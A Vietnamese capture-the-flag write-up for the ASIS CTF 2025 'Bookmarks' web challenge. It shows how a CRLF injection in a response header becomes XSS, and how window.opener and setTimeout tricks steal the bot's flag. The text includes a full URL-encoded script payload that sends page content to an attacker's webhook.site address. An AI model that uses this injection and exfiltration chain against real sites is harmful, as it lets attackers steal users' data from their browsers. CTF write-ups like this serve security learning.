Writeup: ASIS CTF 2025
Web | Bookmarks
- Phân tích file
app.py, ta có thể thấy bug CLRF injection nằm ở hàmdashboardvà hoàn toàn có thể tận dụng bug này để gây ra XSS.
1 |
|
- Biến
usernameđược truyền thẳng vào headerX-User-<username>rồi response về phía người dùng. - Ta có thể đăng ký tài khoản với username là
test:+test%0d%0a%0d%0a<script>alert(1)</script>và khi vào/dashboardthì response phản hồi sẽ trông như thế này
1 | 200 OK |
- Như vậy, ta có thể thực thi được XSS nhờ vào bug CRLF Injection, tuy nhiên, điều quan trọng là làm sao để ta có thể thực thi được XSS trên trình duyệt của bot và lấy được flag, hãy cùng phân tích file
bot.py, hàm xử lý chính cho việc bot cắn link làvisit_web:
1 | FLAG = os.getenv("FLAG", "ctf{REDACTED}") |
Ban đầu bot sẽ vào link độc hại của ta trước, rồi sau 5s từ trang hiện tại bot mới đăng ký –> đăng nhập với username là FLAG rồi sau 5s sẽ đóng trình duyệt.
Với hành vi này của bot đã khiến việc ta lấy flag trở nên khó khăn hơn nhiều, tuy nhiên không phải là không thế.
Sau khi đào sâu nghiên cứu thì mình thấy có thể tận dụng các tricks trong js như
window.open(),window.openervàsetTimeout():window.open(url): sẽ mở một trang mới để truy cập urlwindow.opener: đại diện cho trang cha của trang hiện tại (tức là trang đã mở ra trang hiện tại) qua đó có thể truy cập DOM của trang cha từ trang hiện tại nếu cùng origin.setTimeout(<function>,<time>): hẹn giờ thực thi cho hàm được truyền vào.
Mình sẽ tạo một thư mục exploit rồi dựng một server attacker gồm 3 file:
- index.html
1 | <script> |
- index.html sẽ mở một trang mới (w1) và truy cập vào exploit.html
- exploit.html
1 | <script> |
- exploit.html sẽ tiếp tục mở thêm một trang mới nữa (w2) là fake_login.html
- Sau 1.5s, sẽ cho trang (w2) chuyển hướng về
http://web/dashboard(nơi chứa lỗ hổng xss).
- fake_login.html
1 | <html> |
- Trang này thì mình nhờ burp pro generate với phần payload ở username là:
1 | win:+win%0d%0a%0d%0a<script>setTimeout(()+=>+{opener.location+=+'http://web/dashboard'},+4000);setTimeout(()+=>+{location='https://webhook.site/d240fd99-7fbb-43a8-af09-1c9ca7759cd2?c='%2bopener.document.getElementsByTagName('p')[0].textContent},+4500)</script> |
- Khi được phản hồi về thì nó sẽ trông thế này:
1 | win: win |
- payload 1:
1 | setTimeout(() => {opener.location = 'http://web/dashboard'}, 4000) |
payload này sau 4s sẽ khiến trang mở nó là exploit.html chuyển hướng về http://web/dashboard nhằm đợi cho cho bot login với flag thành công và vào đc trang
/dashboardcủa bot.payload 2:
1 | setTimeout(() => {location='https://webhook.site/d240fd99-7fbb-43a8-af09-1c9ca7759cd2?c='+opener.document.getElementsByTagName('p')[0].textContent}, 4500)</script> |
Sau 4s trên thì sau đó 0.5s nữa sẽ bắn flag từ trang
/dashboardcủa bot về webhook của attacker.Sơ lược lại các bước trên bằng sơ đồ dưới đây:









